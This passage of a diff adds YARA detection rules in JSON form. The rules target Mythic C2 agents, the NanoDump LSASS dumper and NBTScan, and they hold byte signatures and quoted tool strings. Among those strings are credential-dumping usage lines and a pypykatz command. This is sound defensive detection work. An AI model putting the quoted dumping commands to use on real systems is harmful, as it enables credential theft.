5a ff         // mov     ecx, 0xff5a7926 // RtlAllocateHeap hash\n            e8 ?? ?? ?? ??         // call    LdrLoad_Module\n            48 81 c7 81 2d b3 1d   // add     rdi, 0x1db32d81 // RtlCreateHeap hash\n            48 89 c1               // mov     rcx, rax\n            48 89 fa               // mov     rdx, rdi  {0xde0de12a}\n            e8 ?? ?? ?? ??         // call    LdrLoad_Api\n        }\n\n    condition:\n        any of ($obv*) or\n        8 of ($dim*) or\n        $initial_load\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_kharon"
+  ],
+  "rule_creation_date": "2025-08-18",
+  "rule_modified_date": "2025-09-04",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.MythicKharon"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1055",
+    "attack.t1572"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_loki_agent_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.568844Z",
+  "creation_date": "2026-03-23T11:46:25.568846Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.568851Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securelist.com/loki-agent-for-mythic/113596/\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_loki_agent.yar",
+  "content": "rule mythic_loki_agent {\n    meta:\n        title = \"Mythic Loki Agent\"\n        id = \"436c34c2-7413-4f58-ac5e-86629c75a75a\"\n        description = \"Detects the Mythic Loki Agent.\\nLoki is a private agent of the Mythic Framework, an open-source cross-platform post-exploitation framework designed for red teaming and security testing.\\nIt is recommended to investigate parent processes or initial access vectors on the machine and to look for further signs of malicious actions on the host.\"\n        references = \"https://securelist.com/loki-agent-for-mythic/113596/\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-09-09\"\n        modified = \"2025-03-07\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.execution;attack.defense_evasion;attack.t1055;attack.t1059;attack.command_and_control;attack.t1071;attack.t1572\"\n        classification = \"Windows.Trojan.MythicLoki\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // aa544118deb7cb64ded9fdd9455a277d0608c6985e45152a3cbb7422bd9dc916\n\n        $s1 = \"Terminating Loki... Remember, I'll be back!\" ascii fullword\n        $s2 = \"Terminating... Remember, I'll be back!\" ascii fullword\n\n        $djb2_custom_m = {\n            ??b7080000              // mov     ecx, 0x8b7\n            662e0f1f840000000000    // nop     word [rax+rax]\n            ??01                    // cmp     al, 0x1\n            ??????                  // movzx   eax, al\n            4?????00                // adc     rdx, 0x0\n            ??????                  // mov     r9, rdx\n            8???                    // mov     edx, ecx\n            c1??05                  // shl     edx, 0x5\n            0???                    // add     edx, ecx\n            [12-15]                 // lea     ecx, [rax+rdx]\n                                    // lea     rdx, [r9+0x1]\n                                    // movzx   eax, byte [r9+0x1]\n                                    // mov     r9, rdx\n            4d2???                  // sub     r9, r11\n            4?????0b                // cmp     r9d, 0xb\n        }\n\n    condition:\n        1 of ($s*) or $djb2_custom_m\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_loki_agent"
+  ],
+  "rule_creation_date": "2024-09-09",
+  "rule_modified_date": "2025-03-07",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Trojan.MythicLoki"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071",
+    "attack.t1059",
+    "attack.t1055",
+    "attack.t1572"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_medusa_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573146Z",
+  "creation_date": "2026-03-23T11:46:25.573148Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573154Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MythicAgents/Medusa\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_medusa.yar",
+  "content": "rule mythic_medusa {\n    meta:\n        title = \"Mythic Medusa Agent\"\n        id = \"20ed9add-b4c6-4e02-ba89-e2e584d9d2fa\"\n        description = \"Detects the Medusa agent.\\nMedusa is a cross-platform agent compatible with both Python 3.8 and Python 2.7, designed to be used within the Mythic framework for post exploitation activities.\\nIt enables various operations across different operating systems.\"\n        references = \"https://github.com/MythicAgents/Medusa\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-02-27\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Trojan.MythicMedusa\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s1 = \".ps.<locals>.create_drive_mapping.<locals>.<genexpr>\" ascii\n        $s2 = \".list_dlls.<locals>.ProcessInformation._query_info\" ascii\n        $s3 = \".socks.<locals>.get_running_socks_thread\" ascii\n        $s4 = \".postMessageAndRetrieveResponse\" ascii\n        $s5 = \".sendTaskOutputUpdate\" ascii\n        $s6 = \".socks.<locals>.sendSocksPacket\" ascii\n        $s7 = \"KillDate\" ascii fullword\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_medusa"
+  ],
+  "rule_creation_date": "2024-02-27",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.MythicMedusa"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-mythic_thanatos_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572882Z",
+  "creation_date": "2026-03-23T11:46:25.572884Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572890Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/MythicAgents/thanatos\nhttps://attack.mitre.org/software/S0699/"
+  ],
+  "name": "mythic_thanatos.yar",
+  "content": "rule mythic_thanatos {\n    meta:\n        title = \"Mythic Thanatos Agent\"\n        id = \"fd23fe61-b9d4-41e2-98df-aa2b032d49c1\"\n        description = \"Detects the Mythic Thanatos C2 agent.\\nThanatos is a cross-platform C2 (command and control) agent designed for post-exploitation activities, supporting both Windows and Linux systems. It is written in Rust and is deployed through the Mythic framework, which is an open-source post-exploitation framework. Thanatos enables attackers to maintain persistence, exfiltrate data, and perform various malicious activities within the targeted environment.\"\n        references = \"https://github.com/MythicAgents/thanatos\\nhttps://attack.mitre.org/software/S0699/\"\n        date = \"2024-02-27\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0699;attack.defense_evasion;attack.t1569.002;attack.t1218;attack.t1055.012\"\n        classification = \"Trojan.MythicThanatos\"\n        context = \"process,memory,thread,file.pe,file.elf\"\n        os = \"Windows,Linux\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // fa250b4eb5f01facea781e5c03840e918caf323bcd72b6a4cfd2ebbfa9af5647\n        // c08d2e7d839c13c85b0fbcebd8bc667d76cce9a46db5a90d9fcdb0a07ed8fc9f\n\n        $s1 = \"Uploading chunk /\" ascii\n        $s2 = \"cmd.exe/cCommand status:\" ascii\n        $s3 = \"Command '' not found or implemented\" ascii\n        $s4 = \"Set new sleep interval to  second(s) with a jitter of %\" ascii\n        $s5 = \"Changed working hours to\" ascii\n\n    condition:\n        all of them\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "mythic_thanatos"
+  ],
+  "rule_creation_date": "2024-02-27",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Trojan.MythicThanatos"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1569.002",
+    "attack.t1055.012"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nanodump_ad22c0346270_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584828Z",
+  "creation_date": "2026-03-23T11:46:25.584830Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584835Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "nanodump_ad22c0346270.yar",
+  "content": "rule nanodump_ad22c0346270 {\n    meta:\n        title = \"NanoDump Hacktool (ad22c0346270)\"\n        id = \"173a65a2-dde8-419a-afb5-ad22c0346270\"\n        description = \"Detects NanoDump tool, a Windows-based process memory dump utility.\\nNanoDump is primarily used by adversaries to extract sensitive information from LSASS process memory, such as credentials and session tokens.\\nIt is recommended to investigate for any LSASS process access on the affected system.\"\n        references = \"https://attack.mitre.org/techniques/T1003/\"\n        date = \"2021-12-01\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003\"\n        classification = \"Windows.HackTool.NanoDump\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $clear_string_logic_important_modules1 = \"lsasrv.dll\" wide\n        $clear_string_logic_important_modules2 = \"samsrv.dll\" wide\n        $clear_string_logic_important_modules3 = \"lsadb.dll\" wide\n        $clear_string_logic_important_modules4 = \"livessp.dll\" wide\n        $clear_string_logic_important_modules5 = \"wdigest.dll\" wide\n        $clear_string_logic_important_modules6 = \"kerberos.dll\" wide\n\n        $SW2_HashSyscall_x86 = {\n            55                    // push rbp\n            89 E5                 // mov ebp, esp\n            83 EC 10              // sub esp, 0x10\n            C7 45 FC 00 00 00 00  // mov dword ptr [rbp - 4], 0\n            C7 45 F8 ?? ?? ?? ??  // mov dword ptr [rbp - 8], HASH\n            EB 24                 // jmp loc_3a\n            8B 45 FC              // mov eax, dword ptr [rbp - 4]\n                                  // loc_16:\n            8D 50 01              // lea edx, [rax + 1]\n            89 55 FC              // mov dword ptr [rbp - 4], edx\n            8B 55 08              // mov edx, dword ptr [rbp + 8]\n            01 D0                 // add eax, edx\n            0F B7 00              // movzx eax, word ptr [rax]\n            66 89 45 F6           // mov word ptr [rbp - 0xa], ax\n            0F B7 55 F6           // movzx edx, word ptr [rbp - 0xa]\n            8B 45 F8              // mov eax, dword ptr [rbp - 8]\n            C1 C8 08              // ror eax, 8\n            01 D0                 // add eax, edx\n            31 45 F8              // xor dword ptr [rbp - 8], eax\n                                  // loc_3a:\n            8B 55 08              // mov edx, dword ptr [rbp + 8]\n            8B 45 FC              // mov eax, dword ptr [rbp - 4]\n            01 D0                 // add eax, edx\n            0F B6 00              // movzx eax, byte ptr [rax]\n            84 C0                 // test al, al\n            75 CD                 // jne loc_16\n            8B 45 F8              // mov eax, dword ptr [rbp - 8]\n            C9                    // leave\n            C3                    // ret\n        }\n\n    condition:\n        filesize < 200KB and $SW2_HashSyscall_x86 and (all of ($clear_string_logic_important_modules*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nanodump_ad22c0346270"
+  ],
+  "rule_creation_date": "2021-12-01",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.NanoDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nanodump_b91882a92c30_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584451Z",
+  "creation_date": "2026-03-23T11:46:25.584454Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584459Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "nanodump_b91882a92c30.yar",
+  "content": "rule nanodump_b91882a92c30 {\n    meta:\n        title = \"NanoDump Hacktool (b91882a92c30)\"\n        id = \"316844b5-18dc-4661-b212-b91882a92c30\"\n        description = \"Detects NanoDump tool, a Windows-based process memory dump utility.\\nNanoDump is primarily used by adversaries to extract sensitive information from LSASS process memory, such as credentials and session tokens.\\nIt is recommended to investigate for any LSASS process access on the affected system.\"\n        references = \"https://attack.mitre.org/techniques/T1003/\"\n        date = \"2021-12-01\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003\"\n        classification = \"Windows.HackTool.NanoDump\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $clear_string_logic_important_modules1 = \"lsasrv.dll\" wide\n        $clear_string_logic_important_modules2 = \"samsrv.dll\" wide\n        $clear_string_logic_important_modules3 = \"lsadb.dll\" wide\n        $clear_string_logic_important_modules4 = \"livessp.dll\" wide\n        $clear_string_logic_important_modules5 = \"wdigest.dll\" wide\n        $clear_string_logic_important_modules6 = \"kerberos.dll\" wide\n\n        $SW2_HashSyscall_x64 = {\n            55                     // push rbp\n            48 89 E5               // mov rbp, rsp\n            48 83 EC 10            // sub rsp, 0x10\n            48 89 4D 10            // mov qword ptr [rbp + 0x10], rcx\n            C7 45 FC 00 00 00 00   // mov dword ptr [rbp - 4], 0\n            C7 45 F8 ?? ?? ?? ??   // mov dword ptr [rbp - 8], HASH\n            EB 28                  // jmp loc_2a\n\n                                   // loc_1c:\n            8B 45 FC               // mov eax, dword ptr [rbp - 4]\n            8D 50 01               // lea edx, [rax + 1]\n            89 55 FC               // mov dword ptr [rbp - 4], edx\n            89 C2                  // mov edx, eax\n            48 8B 45 10            // mov rax, qword ptr [rbp + 0x10]\n            48 01 D0               // add rax, rdx\n            0F B7 00               // movzx eax, word ptr [rax]\n            66 89 45 F6            // mov word ptr [rbp - 0xa], ax\n            0F B7 55 F6            // movzx edx, word ptr [rbp - 0xa]\n            8B 45 F8               // mov eax, dword ptr [rbp - 8]\n            C1 C8 08               // ror eax, 8\n            01 D0                  // add eax, edx\n            31 45 F8               // xor dword ptr [rbp - 8], eax\n                                   // loc_2a:\n            8B 55 FC               // mov edx, dword ptr [rbp - 4]\n            48 8B 45 10            // mov rax, qword ptr [rbp + 0x10]\n            48 01 D0               // add rax, rdx\n            0F B6 00               // movzx eax, byte ptr [rax]\n            84 C0                  // test al, al\n            75 C7                  // jne loc_1c\n            8B 45 F8               // mov        eax, dword ptr [rbp - 8]\n            48 83 C4 10            // add rsp, 0x10\n            5D                     // pop rbp\n            C3                     // ret\n        }\n\n    condition:\n        filesize < 200KB and $SW2_HashSyscall_x64 and (all of ($clear_string_logic_important_modules*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nanodump_b91882a92c30"
+  ],
+  "rule_creation_date": "2021-12-01",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.NanoDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nanodump_generic_94e2a9e9667f_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.585224Z",
+  "creation_date": "2026-03-23T11:46:25.585226Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.585231Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/"
+  ],
+  "name": "nanodump_generic_94e2a9e9667f.yar",
+  "content": "rule nanodump_generic_94e2a9e9667f {\n    meta:\n        title = \"NanoDump Hacktool (94e2a9e9667f)\"\n        id = \"ecdc6818-a658-42e5-b4f5-94e2a9e9667f\"\n        description = \"Detects NanoDump tool, a Windows-based process memory dump utility.\\nNanoDump is primarily used by adversaries to extract sensitive information from LSASS process memory, such as credentials and session tokens. This activity is commonly associated with credential access techniques (MITRE ATT&CK T1003). The rule identifies NanoDump by detecting specific error strings related to LSASS dumping operations, such as errors when the LSASS process is not found or when the dump size is too large.\\nIt is recommended to investigate for any LSASS process access on the affected system.\"\n        references = \"https://attack.mitre.org/techniques/T1003/\"\n        date = \"2021-11-30\"\n        modified = \"2025-03-03\"\n        author = \"HarfangLab\"\n        tags = \"attack.credential_access;attack.t1003\"\n        classification = \"Windows.HackTool.NanoDump\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $clear_string_marker_error_sw2_syscall = \"SW2_PopulateSyscallList failed\" ascii\n        $clear_string_marker_error_sw2_syscall_not_found = \"syscall with hash 0x%lx not found\" ascii\n        $clear_string_marker_error_dump_too_big = \"The dump is too big, please increase DUMP_MAX_SIZE.\" ascii\n        $clear_string_marker_error_too_many_processes = \"Too many processes, please increase MAX_PROCESSES\" ascii\n        $clear_string_marker_error_lsass_not_found = \"The LSASS process was not found.\" ascii\n        $clear_string_marker_error_no_lsass = \"This selected process is not LSASS.\" ascii\n        $clear_string_marker_error_wrong_combinaison = \"Can't set both --dup and --fork\" ascii\n        $clear_string_marker_lsass_handle_found = \"Found LSASS handle: 0x%x, on process: %ld\" ascii\n        $clear_string_marker_lsass_no_handle = \"No handle to the LSASS process was found\" ascii\n        $clear_string_marker_usage = \"usage: %s --write C:\\\\Windows\\\\Temp\\\\doc.docx [--valid] [--fork] [--dup] [--pid 1234] [--help]\" ascii\n        $clear_string_marker_lsass_usage_pid = \"the PID of LSASS (required if --fork or --dup are used)\" ascii\n        $clear_string_marker_invalid_sig1 = \"The minidump has an invalid signature, restore it running:\" ascii\n        $clear_string_marker_invalid_sig2 = \"bash restore_signature.sh %s\" ascii\n        $clear_string_marker_scretsz1 = \"Done, to get the secretz run:\" ascii\n        $clear_string_marker_secretz2 = \"python3 -m pypykatz lsa minidump %s\" ascii\n\n    condition:\n        filesize < 200KB and 7 of ($clear_string_marker_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nanodump_generic_94e2a9e9667f"
+  ],
+  "rule_creation_date": "2021-11-30",
+  "rule_modified_date": "2025-03-03",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.HackTool.NanoDump"
+  ],
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-nbtscan_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.584716Z",
+  "creation_date": "2026-03-23T11:46:25.584718Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.584723Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0590/"
+  ],
+  "name": "nbtscan.yar",
+  "content": "rule nbtscan {\n    meta:\n        title = \"NBTScan Tool\"\n        id = \"4fc49563-efb0-4709-b6d5-45956e0f9371\"\n        description = \"Detects the NBTScan tool, a command-line utility used for scanning open NETBIOS name servers.\\nNBTScan is often used during the early stages of an attack for network discovery and lateral movement. It can identify active NETBIOS servers and shares on a network, which can be indicative of reconnaissance or unauthorized access attempts.\\nIt is recommended to investigate the execution context as well as surrounding detections to determine if the usage of this tool is legitimate.\"\n        references = \"https://attack.mitre.org/software/S0590/\"\n        date = \"2021-07-06\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0590;attack.discovery;attack.t1046;attack.t1018;attack.t1016.001\"\n        classification = \"Windows.Tool.NBTScan\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // http://www.unixwiz.net/tools/nbtscan.html\n        // nbtscan 1.0.35 - 2008-04-08 - http://www.unixwiz.net/tools/\n        $nbtscan1_s1 = \"-range-\" ascii\n        $nbtscan1_s2 = \"DUMP OF PACKET\" ascii\n        $nbtscan1_s3 = \"Dr. Solomon AV Management\" ascii\n        $nbtscan1_s4 = \"MLI_GROUP_BRAD\" ascii\n        $nbtscan1_s5 = \"-no name-\" ascii\n\n        // https://inetcat.org/software/nbtscan.html\n        // NBTscan version 1.5.1. Copyright (C) 1999-2003 Alla Bezroutchko.\n        $nbtscan2_s1 = \"Packet dump for Host %s:\" ascii\n        $nbtscan2_s2 = \"NetBIOS Name Table for Host %s:\" ascii\n        $nbtscan2_s3 = \"Bad bandwidth value, ignoring it\" ascii\n        $nbtscan2_s4 = \"parse_response returned NULL\" ascii\n        $nbtscan2_s5 = \"DCA IrmaLan Gateway Server Service\" ascii\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 200KB and (\n            (all of ($nbtscan1_*)) or\n            (all of ($nbtscan2_*))\n        )\n        and not filepath matches /C:\\\\Program Files (x86)\\\\Spiceworks\\\\pkg\\\\gems\\\\spiceworks_common-*\\\\nbtscan\\\\spiceworks_netbios_scanner.exe/\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "nbtscan"
+  ],
+  "rule_creation_date": "2021-07-06",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Tool.NBTScan"
+  ],
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1046",
+    "attack.t1018",
+    "attack.t1016.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-netloader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
